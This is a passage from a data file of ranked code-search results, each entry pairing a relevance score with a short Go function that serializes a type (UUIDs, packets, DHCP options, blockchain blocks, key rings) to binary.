MarshalBinary() ([]byte, error) {\n\treturn uuid.UUID(u).MarshalBinary()\n}", "title": "" }, { "docid": "10ee38355be582685fc5382a0957a207", "score": "0.54474485", "text": "func (k *KeyRing) MarshalBinary() ([]byte, error) {\n\tk.mutex.RLock()\n\tdefer k.mutex.RUnlock()\n\n\tbuf := pem.EncodeToMemory(k.armoredSecret)\n\n\tfor identity := range k.keys {\n\t\traw, err := k.exportUnsafe(identity)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tbuf = append(buf, raw...)\n\t}\n\n\treturn buf, nil\n}", "title": "" }, { "docid": "69c56923b655145e51a5b23bb5fdcec2", "score": "0.54428303", "text": "func (n Prefix) Bytes() []byte { return n }", "title": "" }, { "docid": "ceeca62fb5edca8fc0a12140b0acc224", "score": "0.5416442", "text": "func (s ConfirmAckPacket) MarshalBinary() ([]byte, error) {\n\treturn VotePacket(s).MarshalBinary()\n}", "title": "" }, { "docid": "544e3807f21f4358f0d80db2677b8d92", "score": "0.5414188", "text": "func (a *AddressMask) Marshal(_ int) ([]byte, error) {\n\tbSize := marshalledAddressMaskLen / 2\n\tb := make([]byte, marshalledAddressMaskLen)\n\tb[0], b[1] = byte(a.ID>>bSize), byte(a.ID)\n\tb[2], b[3] = byte(a.Seq>>bSize), byte(a.Seq)\n\n\tunparseInt := func(i uint32) (byte, byte, byte, byte) {\n\t\tbs := make([]byte, 4)\n\t\tbinary.LittleEndian.PutUint32(bs, i)\n\t\treturn bs[3], bs[2], bs[1], bs[0]\n\t}\n\n\tb[4], b[5], b[6], b[7] = unparseInt(a.AddressMask)\n\treturn b, nil\n}", "title": "" }, { "docid": "db3eb058bcda4df1b6170a07e06d935d", "score": "0.5413627", "text": "func (s *Stamp) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, StampSize)\n\tif n := copy(buf, s.batchID); n != 32 {\n\t\treturn nil, ErrInvalidBatchID\n\t}\n\tif n := copy(buf[32:40], s.index); n != 8 {\n\t\treturn nil, ErrInvalidBatchIndex\n\t}\n\tif n := copy(buf[40:48], s.timestamp); n != 8 {\n\t\treturn nil, ErrInvalidBatchTimestamp\n\t}\n\tif n := copy(buf[48:], s.sig); n != 65 {\n\t\treturn nil, ErrInvalidBatchSignature\n\t}\n\treturn buf, nil\n}", "title": "" }, { "docid": "2e31b348e30ebb0ff7ff127dcadf8630", "score": "0.5399638", "text": "func (m *LinkMessage) MarshalBinary() ([]byte, error) {\n\tb := make([]byte, unix.SizeofIfInfomsg)\n\n\tb[0] = 0 //Family\n\tb[1] = 0 //reserved\n\tnlenc.PutUint16(b[2:4], m.Type)\n\tnlenc.PutUint32(b[4:8], m.Index)\n\tnlenc.PutUint32(b[8:12], m.Flags)\n\tnlenc.PutUint32(b[12:16], m.Change)\n\n\tif m.Attributes != nil {\n\t\ta, err := m.Attributes.MarshalBinary()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn append(b, a...), nil\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "af5badc93b3e783e70eb2ffdae993836", "score": "0.53824455", "text": "func (id TlfID) MarshalBinary() (data []byte, err error) {\n\tsuffix := id.id[TlfIDByteLen-1]\n\tif suffix != TlfIDSuffix && suffix != PubTlfIDSuffix {\n\t\treturn nil, InvalidTlfID{id.String()}\n\t}\n\treturn id.id[:], nil\n}", "title": "" }, { "docid": "1e20267d7a53d2780cf2c47f5810d77f", "score": "0.5371031", "text": "func (bn128 *BN128) Marshal(x, y *big.Int) []byte {\n\treturn MustPointToG1(x, y).Marshal()\n}", "title": "" }, { "docid": "d2a0d2e0a308a7571b2a43fbbaba770a", "score": "0.5371008", "text": "func (p CompactPeer) MarshalBinary() ([]byte, error) {\n\tbuf := bytes.NewBuffer(make([]byte, 0, 6))\n\terr := binary.Write(buf, binary.BigEndian, p)\n\treturn buf.Bytes(), err\n}", "title": "" }, { "docid": "23576b66b450cfaab999487b1bde17e6", "score": "0.53703237", "text": "func (u *URI) MarshalBinary() (text []byte, err error) {\n\treturn []byte(u.String()), nil\n}", "title": "" }, { "docid": "ba288760ac2916d7b3ea5c53fe4b4c4f", "score": "0.5369369", "text": "func (pub *PublicKey) MarshalBinary() ([]byte, error) {\n\treturn pub.encodedA, nil\n}", "title": "" }, { "docid": "a5244882c9092e2fcb79be0614d364bc", "score": "0.536552", "text": "func (s *LoadBalancedWebService) MarshalBinary() ([]byte, error) {\n\tcontent, err := s.parser.Parse(lbWebSvcManifestPath, *s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn content.Bytes(), nil\n}", "title": "" }, { "docid": "b45f77d724800e96bceea1d0513b42ba", "score": "0.53653616", "text": "func (p *Prefix) UnmarshalBinary(b []byte) error {\n\tif len(b) < 1 {\n\t\treturn errors.New(\"unexpected slice size\")\n\t}\n\tvar addr Addr\n\terr := addr.UnmarshalBinary(b[:len(b)-1])\n\tif err != nil {\n\t\treturn err\n\t}\n\t*p = PrefixFrom(addr, int(b[len(b)-1]))\n\treturn nil\n}", "title": "" }, { "docid": "462e646b3cde31cee9f15c61af15940b", "score": "0.5362909", "text": "func (p *Management) MarshalBinary() ([]byte, error) {\n\tvar bytes bytes.Buffer\n\terr := p.MarshalBinaryToBuf(&bytes)\n\treturn bytes.Bytes(), err\n}", "title": "" }, { "docid": "bb8d8adada3e78209ac615e9ab47b1b1", "score": "0.53618646", "text": "func (obj *IndexInfoImpl) MarshalBinary() ([]byte, error) {\n\t// A simple encoding: plain text.\n\tvar b bytes.Buffer\n\t_, err := fmt.Fprintln(&b, obj.sysId, obj.indexType, obj.name, obj.uniqueFlag, obj.attributes, obj.nodeTypes)\n\tif err != nil {\n\t\tlogger.Error(fmt.Sprintf(\"ERROR: Returning IndexInfoImpl:MarshalBinary w/ Error: '%+v'\", err.Error()))\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}", "title": "" }, { "docid": "4e8d7c81b730a80a137f71d2ac0f567f", "score": "0.53608865", "text": "func (q FanProfiles) MarshalBinary() (out []byte, err error) {\n\n\tout = make([]byte, 8)\n\n\tout[0] = q.OutAway\n\tout[1] = q.OutLow\n\tout[2] = q.OutMid\n\tout[3] = q.InAway\n\tout[4] = q.InLow\n\tout[5] = q.InMid\n\tout[6] = q.OutHigh\n\tout[7] = q.InHigh\n\n\treturn\n}", "title": "" }, { "docid": "ab5ec14ae1e8c577af2242437e4682fb", "score": "0.5355476", "text": "func (h *Header) MarshalBinary() (b []byte, err error) {\n\t// Only supports 2 byte headers\n\tif h.Length > uint16(MAX_TWO_BYTE_RECORD_BYTES) {\n\t\terr = ErrInvalidLength\n\t\treturn\n\t}\n\tb = make([]byte, 2)\n\tb[0] = byte(h.Length >> 8)\n\tb[1] = byte(h.Length)\n\tb[0] |= 0x80\n\treturn\n}", "title": "" }, { "docid": "658a6f19fb83aa0fd64a2efa3ae6af58", "score": "0.5354065", "text": "func (r *RequestGetattrV2) MarshalBinary() ([]byte, error) {\n\treturn MarshalBinary(&r.Request, &r.AttrHint, &r.Handle, &r.FileName)\n}", "title": "" }, { "docid": "e64c523688094baf6d2b81a041525f74", "score": "0.5343226", "text": "func (p ForceDeviceResyncReqPayload) MarshalBinary() ([]byte, error) {\n\tb := make([]byte, p.Size())\n\tb[0] = p.ForceConf.NbTransmissions & 0x17 // first 3 bits\n\treturn b, nil\n}", "title": "" }, { "docid": "997495200a20eeac8e057dfb66130797", "score": "0.53428227", "text": "func (i IZYXSlice) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, len(i)*12)\n\toff := 0\n\tfor _, izyxStr := range i {\n\t\tcopy(buf[off:off+12], string(izyxStr))\n\t\toff += 12\n\t}\n\treturn buf, nil\n}", "title": "" }, { "docid": "dd5b767c5a2236796bd266764e104ace", "score": "0.5338498", "text": "func (m Meta) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, len(m.Blocks)*12+8)\n\tbinary.LittleEndian.PutUint64(buf[0:8], m.Voxels)\n\toff := 8\n\tfor _, izyx := range m.Blocks {\n\t\tcopy(buf[off:off+12], string(izyx))\n\t\toff += 12\n\t}\n\treturn buf, nil\n}", "title": "" }, { "docid": "b2354db6152d471fe79703c756754d03", "score": "0.5326911", "text": "func (sk *SecretShare) MarshalBinary() ([]byte, error) {\n\tdata := make([]byte, 0, party.IDByteSize+32)\n\tdata = append(data, sk.ID.Bytes()...)\n\tdata = append(data, sk.Secret.Bytes()...)\n\treturn data, nil\n}", "title": "" }, { "docid": "1d61f7838f62e61e3aa458c169477c4c", "score": "0.5326738", "text": "func (r *RequestWriteV3) MarshalBinary() ([]byte, error) {\n\treturn MarshalBinary(&r.Handle, &r.WriteFlags, &r.Offset, &r.RequiredSize, &r.Reserved, r.Payload)\n}", "title": "" }, { "docid": "5d9fd846cf5bc2f76a3526ba1e598eac", "score": "0.5322431", "text": "func (op *OptIAForPrefixDelegation) ToBytes() []byte {\n\tbuf := make([]byte, 16)\n\tbinary.BigEndian.PutUint16(buf[0:2], uint16(OptionIAPD))\n\tbinary.BigEndian.PutUint16(buf[2:4], uint16(op.Length()))\n\tcopy(buf[4:8], op.IaId[:])\n\tbinary.BigEndian.PutUint32(buf[8:12], op.T1)\n\tbinary.BigEndian.PutUint32(buf[12:16], op.T2)\n\tfor _, opt := range op.Options {\n\t\tbuf = append(buf, opt.ToBytes()...)\n\t}\n\treturn buf\n}", "title": "" }, { "docid": "bd7eb01034b0b1648044989fdbdd500a", "score": "0.5322038", "text": "func (b *SendBlock) MarshalBinary() ([]byte, error) {\n\tbuf := new(bytes.Buffer)\n\n\tvar err error\n\tif _, err = buf.Write(b.PreviousHash[:]); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err = buf.Write(b.Destination[:]); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err = buf.Write(b.Balance.Bytes(binary.BigEndian)); err != nil {\n\t\treturn nil, err\n\t}\n\n\tcommonBytes, err := marshalCommon(b.Signature, b.Work, binary.LittleEndian)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err = buf.Write(commonBytes); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "034971199137dd0ec555efa4c8270651", "score": "0.5319202", "text": "func (r *RequestSetattrV2) MarshalBinary() ([]byte, error) {\n\treturn MarshalBinary(&r.Request, &r.Hints, &r.Attr, &r.Handle, &r.FileName)\n}", "title": "" }, { "docid": "5238c347dca6ed8f0d6f9dad7ba20564", "score": "0.5316274", "text": "func (v *VLAN) MarshalBinary() ([]byte, error) {\n\tb := make([]byte, 2)\n\t_, err := v.read(b)\n\treturn b, err\n}", "title": "" }, { "docid": "965bf57d597f173661ae06486c413709", "score": "0.5304964", "text": "func (p *Packet) MarshalBinary() ([]byte, error) {\n\t// Allocate enough bytes all at once for the Packet.\n\tvar count int\n\tfor _, t := range p.Tags {\n\t\t// Tag length may be 2 bytes for larger numbers.\n\t\ttlen := 1\n\t\tif len(t.Data) >= largeTagLength {\n\t\t\ttlen = 2\n\t\t}\n\n\t\tcount += 1 + tlen + len(t.Data)\n\t}\n\n\tb := make([]byte, 2+2+count+4)\n\n\tbinary.BigEndian.PutUint16(b[0:2], p.Type)\n\tbinary.BigEndian.PutUint16(b[2:4], uint16(count))\n\n\ti := 4\n\tfor _, t := range p.Tags {\n\t\tb[i] = t.Type\n\t\ti++\n\n\t\tn, err := writeTagLength(len(t.Data), b[i:i+2])\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ti += n\n\n\t\ti += copy(b[i:], t.Data)\n\t}\n\n\tchk := crc32.ChecksumIEEE(b[0 : len(b)-4])\n\tbinary.LittleEndian.PutUint32(b[len(b)-4:], chk)\n\n\treturn b, nil\n}", "title": "" }, { "docid": "2a8e3bacfd49a12e870532a8f225eab4", "score": "0.52993935", "text": "func (f *FileName) MarshalBinary() ([]byte, error) {\n\tname := f.Name\n\tf.Length = uint32(len(f.Name))\n\tif f.Length == 0 {\n\t\t// field is defined as 'char name[1];', this byte is required for min sizeof() validation\n\t\tname = \"\\x00\"\n\t}\n\treturn MarshalBinary(&f.Length, name)\n}", "title": "" }, { "docid": "c882c31658bf770cf2752c0a13c85656", "score": "0.52953696", "text": "func (v *VendorOpts) MarshalBinary() ([]byte, error) {\n\t// 4 bytes: EnterpriseNumber\n\t// N bytes: options slice byte count\n\topts := v.Options.enumerate()\n\tb := make([]byte, 4+opts.count())\n\tbinary.BigEndian.PutUint32(b, v.EnterpriseNumber)\n\topts.write(b[4:])\n\n\treturn b, nil\n}", "title": "" }, { "docid": "98e75c370b76914cf8c052ea0ea40b5f", "score": "0.52917093", "text": "func (a *AddressFlag) MarshalFlag() (string, error) {\n\treturn a.str, nil\n}", "title": "" }, { "docid": "53a48eadadab9c45827d2e11bf9f79d9", "score": "0.5279959", "text": "func (ip Addr) Prefix(b int) (Prefix, error) {\n\tif b < 0 {\n\t\treturn Prefix{}, errors.New(\"negative Prefix bits\")\n\t}\n\teffectiveBits := b\n\tswitch ip.z {\n\tcase z0:\n\t\treturn Prefix{}, nil\n\tcase z4:\n\t\tif b > 32 {\n\t\t\treturn Prefix{}, errors.New(\"prefix length \" + itoa.Itoa(b) + \" too large for IPv4\")\n\t\t}\n\t\teffectiveBits += 96\n\tdefault:\n\t\tif b > 128 {\n\t\t\treturn Prefix{}, errors.New(\"prefix length \" + itoa.Itoa(b) + \" too large for IPv6\")\n\t\t}\n\t}\n\tip.addr = ip.addr.and(mask6(effectiveBits))\n\treturn PrefixFrom(ip, b), nil\n}", "title": "" }, { "docid": "6b2e4624b0de6f760acf6237aa443bb7", "score": "0.5274705", "text": "func (o Uuid) MarshalBinary() ([]byte, error) {\n\treturn o.Bytes(), nil\n}", "title": "" }, { "docid": "a821665cc476c358af6923134a1f1f8a", "score": "0.5263803", "text": "func (p *Prefix) Serialize() []byte {\n\treturn []byte{p.value}\n}", "title": "" }, { "docid": "ba03d8e1063474931397474355c3c538", "score": "0.52617013", "text": "func (b *AdminBlock) MarshalBinary() ([]byte, error) {\n\t// Marshal all the entries into their own thing (need the size)\n\tvar buf2 primitives.Buffer\n\tfor _, v := range b.ABEntries {\n\t\tdata, err := v.MarshalBinary()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbuf2.Write(data)\n\t}\n\n\tb.Header.SetMessageCount(uint32(len(b.ABEntries)))\n\tb.Header.SetBodySize(uint32(buf2.Len()))\n\n\tdata, err := b.Header.MarshalBinary()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar buf primitives.Buffer\n\tbuf.Write(data)\n\n\t// Write the Body out\n\tbuf.Write(buf2.DeepCopyBytes())\n\n\treturn buf.DeepCopyBytes(), err\n}", "title": "" }, { "docid": "d64579d5727ecd784674b51e54433982", "score": "0.5239698", "text": "func (n NodeID2) Prefix(bits uint) NodeID2 {\n\t// Note: This code is very similar to NewNodeID2, and it's tempting to return\n\t// NewNodeID2(n.path, bits). But there is a difference: NewNodeID2 expects\n\t// all the bytes to be in the path string, while here the last byte is not.\n\tif bits == 0 {\n\t\treturn NodeID2{}\n\t} else if mx := n.BitLen(); bits > mx {\n\t\tpanic(fmt.Sprintf(\"Prefix: bits %d > %d\", bits, mx))\n\t}\n\tlast := n.last\n\tbytes, tail, mask := split(bits)\n\tif bytes != uint(len(n.path)) {\n\t\tlast = n.path[bytes]\n\t}\n\tlast &= mask\n\treturn NodeID2{path: n.path[:bytes], last: last, bits: tail}\n}", "title": "" }, { "docid": "066d2b120877fba9aa68a18334137f81", "score": "0.52388656", "text": "func (k *ExtentKey) MarshalBinary() ([]byte, error) {\n\tbuf := bytes.NewBuffer(make([]byte, 0, ExtentLength))\n\tif err := binary.Write(buf, binary.BigEndian, k.FileOffset); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.PartitionId); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.ExtentId); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.ExtentOffset); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.Size); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.CRC); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "066d2b120877fba9aa68a18334137f81", "score": "0.52388656", "text": "func (k *ExtentKey) MarshalBinary() ([]byte, error) {\n\tbuf := bytes.NewBuffer(make([]byte, 0, ExtentLength))\n\tif err := binary.Write(buf, binary.BigEndian, k.FileOffset); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.PartitionId); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.ExtentId); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.ExtentOffset); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.Size); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(buf, binary.BigEndian, k.CRC); err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "2e3ccb44d18576bb64323b0b4da8e424", "score": "0.5235326", "text": "func (jn JoinNonce) MarshalJSON() ([]byte, error) { return marshalJSONHexBytes(jn[:]) }", "title": "" }, { "docid": "7d2a5565ce9404d59b477fd2de617358", "score": "0.52249986", "text": "func (p PackageVersionAnsPayload) MarshalBinary() ([]byte, error) {\n\treturn []byte{\n\t\tp.PackageIdentifier,\n\t\tp.PackageVersion,\n\t}, nil\n}", "title": "" }, { "docid": "776aed9b41a8884d6720da33c157ac0f", "score": "0.5217678", "text": "func (m MessageID) MarshalBinary() ([]byte, error) {\n\treturn m, nil\n}", "title": "" }, { "docid": "d936106a3bcbfcb86e63f21a05f576f8", "score": "0.52116823", "text": "func (m *NodePin) Marshal() []byte {\n\twriter := jspb.NewWriter()\n\tm.MarshalToWriter(writer)\n\treturn writer.GetResult()\n}", "title": "" }, { "docid": "2f53b4f81a513fc24de2ac119a77eee2", "score": "0.5211488", "text": "func (p *UnicastMasterTableNPTLV) MarshalBinary() ([]byte, error) {\n\tvar bytes bytes.Buffer\n\tif err := binary.Write(&bytes, binary.BigEndian, p.ManagementTLVHead); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := binary.Write(&bytes, binary.BigEndian, p.UnicastMasterTable.ActualTableSize); err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, e := range p.UnicastMasterTable.UnicastMasters {\n\t\tentryBytes, err := e.MarshalBinary()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := binary.Write(&bytes, binary.BigEndian, entryBytes); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn bytes.Bytes(), nil\n}", "title": "" }, { "docid": "4e7800df5e4adae361fefeb8f09a0532", "score": "0.520822", "text": "func (v Value) MarshalBinary() ([]byte, error) {\n\treturn v.Append(nil)\n}", "title": "" }, { "docid": "9b70f2aa6bb6fcc7db6233d5f90cf25a", "score": "0.5207924", "text": "func (v *Clock) MarshalBinary() ([]byte, error) {\n\tvar buf bytes.Buffer\n\tmarshalVector(&buf, v.sync)\n\tmarshalVector(&buf, v.mod)\n\tmarshalVector(&buf, v.create)\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "53885137f468a2482b6db91cbd734679", "score": "0.52026176", "text": "func (ca ConsAddress) Marshal() ([]byte, error) {\n\treturn ca, nil\n}", "title": "" }, { "docid": "53885137f468a2482b6db91cbd734679", "score": "0.52026176", "text": "func (ca ConsAddress) Marshal() ([]byte, error) {\n\treturn ca, nil\n}", "title": "" }, { "docid": "f5a1c41c8f806855f0fd77500662d229", "score": "0.5191436", "text": "func (b *DataStore) MarshalBinary() ([]byte, error) {\n\tif b == nil {\n\t\treturn nil, errorz.ErrInvalid{}.New(\"not initialized\")\n\t}\n\tbc, err := b.MarshalCapn(nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn datastore.Marshal(bc)\n}", "title": "" }, { "docid": "c9bdb1d0e7964fcf726a46ba84dcc3b6", "score": "0.51913863", "text": "func (t TimeRFC1123) MarshalBinary() ([]byte, error) {\n\treturn t.MarshalText()\n}", "title": "" }, { "docid": "7472381fcbc96eced0c673f4477c2cdc", "score": "0.51910925", "text": "func (obj *Node) MarshalBinary() ([]byte, error) {\n\t// A simple encoding: plain text.\n\tvar b bytes.Buffer\n\t_, err := fmt.Fprintln(&b, obj.isNew, obj.EntityKind, obj.virtualId, obj.version, obj.entityId, obj.EntityType,\n\t\tobj.isDeleted, obj.isInitialized, obj.graphMetadata, obj.attributes, obj.modifiedAttributes, obj.edges)\n\tif err != nil {\n\t\tlogger.Error(fmt.Sprintf(\"ERROR: Returning Node:MarshalBinary w/ Error: '%+v'\", err.Error()))\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}", "title": "" }, { "docid": "da0e050967dfcb8c898cb472e1b8c46a", "score": "0.518626", "text": "func (msk *MasterKey) Marshal() ([]byte, error) {\n\tt := make([][]byte, 0)\n\tfor i := range msk.t {\n\t\tt = append(t, msk.t[i].Bytes())\n\t}\n\n\tvar y = msk.y.Bytes()\n\n\tstr, err := json.Marshal(publicKey{\"master\", t, y})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn []byte(base64.StdEncoding.EncodeToString(str)), nil\n}", "title": "" }, { "docid": "ebf1e51b8f2d4bc2b572c868fc240d4e", "score": "0.5177489", "text": "func (o *uuid) MarshalBinary() ([]byte, error) {\n\treturn o.Bytes(), nil\n}", "title": "" }, { "docid": "949792429d1fd843ddb13d043dc47e7c", "score": "0.51653606", "text": "func (msg *Message) Marshal(includeSockaddr bool) []byte {\n\tbytes := make([]byte, 1500)\n\toffset := 0\n\n\tif includeSockaddr {\n\t\tmsg.Src.Write(bytes)\n\t\tmsg.Dst.Write(bytes[18:])\n\t\toffset = 36\n\t}\n\n\tn := msg.MarshalPayload(bytes[offset:])\n\treturn bytes[:offset+n]\n}", "title": "" }, { "docid": "5b82b5ed58672155ac4f9f3d853b0591", "score": "0.51583487", "text": "func (c Command) MarshalBinary() ([]byte, error) {\n\tb := []byte{byte(c.CID)}\n\n\tif c.Payload != nil {\n\t\tp, err := c.Payload.MarshalBinary()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tb = append(b, p...)\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "a09af42b9cf995bea1f564cd235a1b14", "score": "0.51565325", "text": "func (dc *DimmerConfig) MarshalBinary() ([]byte, error) {\n\tbuf := make([]byte, 14)\n\tbuf[4] = byte(dc.HouseCode)\n\tbuf[5] = byte(dc.UnitCode)\n\tbuf[6] = byte(dc.Ramp)\n\tbuf[7] = byte(dc.OnLevel)\n\tbuf[8] = byte(dc.SNT)\n\treturn buf, nil\n}", "title": "" }, { "docid": "f400690726dd1bf243b0b168b69fcab3", "score": "0.5154518", "text": "func (acl *ACL) MarshalBinary() (data []byte, err error) {\n\tdata = make([]byte, acl.BinaryLength())\n\terr = acl.PutBinary(data)\n\treturn\n}", "title": "" }, { "docid": "d6cfe2abf6656f253088c8dc96b5ba6e", "score": "0.5154008", "text": "func writePrefixPDU(r *roa, c net.Conn, flag uint8) {\n\tswitch r.Prefix.IP().Is4() {\n\tcase true:\n\t\tppdu := ipv4PrefixPDU{\n\t\t\tflags: flag,\n\t\t\tmin: r.Prefix.Bits(),\n\t\t\tmax: r.MaxMask,\n\t\t\tprefix: r.Prefix.IP().As4(),\n\t\t\tasn: r.ASN,\n\t\t}\n\t\tppdu.serialize(c)\n\tcase false:\n\t\tppdu := ipv6PrefixPDU{\n\t\t\tflags: flag,\n\t\t\tmin: r.Prefix.Bits(),\n\t\t\tmax: r.MaxMask,\n\t\t\tprefix: r.Prefix.IP().As16(),\n\t\t\tasn: r.ASN,\n\t\t}\n\t\tppdu.serialize(c)\n\t}\n}", "title": "" }, { "docid": "68ddb1025100cd3705aff52dc5a920a9", "score": "0.5143882", "text": "func (clq *ActorListQueryPacket) MarshalBinary() []byte {\n\tbuf := make([]byte, clq.HeaderPacket.Length)\n\tcopy(buf[:6], clq.HeaderPacket.MarshalBinary())\n\tputUint32AsBytes(buf[6:10], clq.UID)\n\treturn buf\n}", "title": "" }, { "docid": "420347f32cfe51425e8ea7ce4d68337a", "score": "0.5137691", "text": "func marshalStartDiffKey(subnetID ids.ID, height uint64) []byte {\n\tkey := make([]byte, startDiffKeyLength)\n\tcopy(key, subnetID[:])\n\tpackIterableHeight(key[ids.IDLen:], height)\n\treturn key\n}", "title": "" }, { "docid": "c08b2e48a9904ca03d42a08ceb1f011a", "score": "0.5129957", "text": "func (o *Order) MarshalBinary() ([]byte, error) {\n\tcontract, err := o.toProtobuf()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn proto.Marshal(contract)\n}", "title": "" }, { "docid": "4cdad78b943577a09f994cb9db824923", "score": "0.5128705", "text": "func (jn JoinNonce) MarshalTo(data []byte) (int, error) { return marshalBinaryBytesTo(data, jn[:]) }", "title": "" }, { "docid": "acfae8fe47bd246cc98b6b2e96abc9e0", "score": "0.5128185", "text": "func (f *Filter) MarshalBinary() ([]byte, error) {\n\t// The filter, followed by the number of hash values expressed as a single byte\n\tb := make([]byte, len(f.f)+1)\n\tcopy(b, f.f)\n\tb[len(f.f)] = byte(f.k)\n\treturn b, nil\n}", "title": "" }, { "docid": "d0501af7fd0f5eebb63487b5b9e74d22", "score": "0.51268303", "text": "func (f Fnk) Marshal(v any) ([]byte, error) {\n\treturn f.encoder(v)\n}", "title": "" }, { "docid": "a77722c8dcb2db02cef80510ef7b13e5", "score": "0.5126802", "text": "func (bh *BlockHeader) MarshalBinary() (data []byte, err error) {\n\treturn proto.Marshal(bh)\n\t// return json.Marshal(bh)\n}", "title": "" }, { "docid": "731e7b3d178c56384a2fe59f8ba99e2d", "score": "0.51235515", "text": "func (e *Environment) MarshalBinary() ([]byte, error) {\n\tcontent, err := e.parser.Parse(environmentManifestPath, *e, template.WithFuncs(map[string]interface{}{\n\t\t\"fmtStringSlice\": template.FmtSliceFunc,\n\t}))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn content.Bytes(), nil\n}", "title": "" } ]
4deb6a23c2f44fadb91b2e0bcbd65f52
String returns a human readable string representation of the parameters.
[ { "docid": "0dea6f5bd697f18ced020135f873618e", "score": "0.79686666", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n Unbonding Time : %s\n Max Validators : %d\n Max Validators Extending : %d\n Max Validators Extending Speed : %d\n Next Extending Time : %d\n Max Entries : %d\n Bonded Coin Denom : %s\n Max Lever : %s`,\n p.UnbondingTime,\n p.MaxValidators,\n p.MaxValidatorsExtending,\n p.MaxValidatorsExtendingSpeed,\n p.NextExtendingTime,\n p.MaxEntries,\n p.BondDenom,\n p.MaxLever)\n}", "title": "" } ]
[ { "docid": "19bd308526ebe26bc7782e79d4e2a779", "score": "0.81086063", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`oracle Params:\n MaxRawRequestCount: %d\n MaxAskCount: %d\n ExpirationBlockCount: %d\n MaxConsecutiveMisses: %d\n BaseRequestGas %d\n PerValidatorRequestGas: %d\n`,\n\t\tp.MaxRawRequestCount,\n\t\tp.MaxAskCount,\n\t\tp.ExpirationBlockCount,\n\t\tp.MaxConsecutiveMisses,\n\t\tp.BaseRequestGas,\n\t\tp.PerValidatorRequestGas,\n\t)\n}", "title": "" }, { "docid": "274153962e1fa3fed28c5eb694513762", "score": "0.80931216", "text": "func (p Parameters) String() (s string) {\n\ts += fmt.Sprintln(\"Parameters:\")\n\ts += fmt.Sprintln(\"Generations\")\n\ts += fmt.Sprintln(\" \", p.Generations)\n\ts += fmt.Sprintln(\"RInitOdds\")\n\ts += fmt.Sprintln(\" \", p.RInitOdds)\n\ts += fmt.Sprintln(\"SInitOdds\")\n\ts += fmt.Sprintln(\" \", p.SInitOdds)\n\ts += fmt.Sprintln(\"GInitOdds\")\n\ts += fmt.Sprintln(\" \", p.GInitOdds)\n\ts += fmt.Sprintln(\"SignalThreshold\")\n\ts += fmt.Sprintln(\" \", p.SignalThreshold)\n\ts += fmt.Sprintln(\"CooperationEffectThreshold\")\n\ts += fmt.Sprintln(\" \", p.CooperationEffectThreshold)\n\ts += fmt.Sprintln(\"SRad\")\n\ts += fmt.Sprintln(\" \", p.SRadius)\n\ts += fmt.Sprintln(\"CRad\")\n\ts += fmt.Sprintln(\" \", p.PGRadius)\n\ts += fmt.Sprintln(\"BoardSize\")\n\ts += fmt.Sprintln(\" \", p.BoardSize)\n\ts += fmt.Sprintln(\"D\")\n\ts += fmt.Sprintln(\" \", p.D)\n\ts += fmt.Sprintln(\"MutOddsR\")\n\ts += fmt.Sprintln(\" \", p.MutOddsR)\n\ts += fmt.Sprintln(\"MutOddsS\")\n\ts += fmt.Sprintln(\" \", p.MutOddsS)\n\treturn\n}", "title": "" }, { "docid": "70140ac87aff30abd20b69092ccac057", "score": "0.79964024", "text": "func (o Params) String() (l string) {\n\tfor i, prm := range o {\n\t\tif i > 0 {\n\t\t\tl += \",\\n\"\n\t\t}\n\t\tl += io.Sf(\"{\")\n\t\tl += io.Sf(`\"n\":%q, `, prm.N)\n\t\tl += io.Sf(`\"v\":%v, `, prm.V)\n\t\tl += io.Sf(`\"min\":%v, `, prm.Min)\n\t\tl += io.Sf(`\"max\":%v, `, 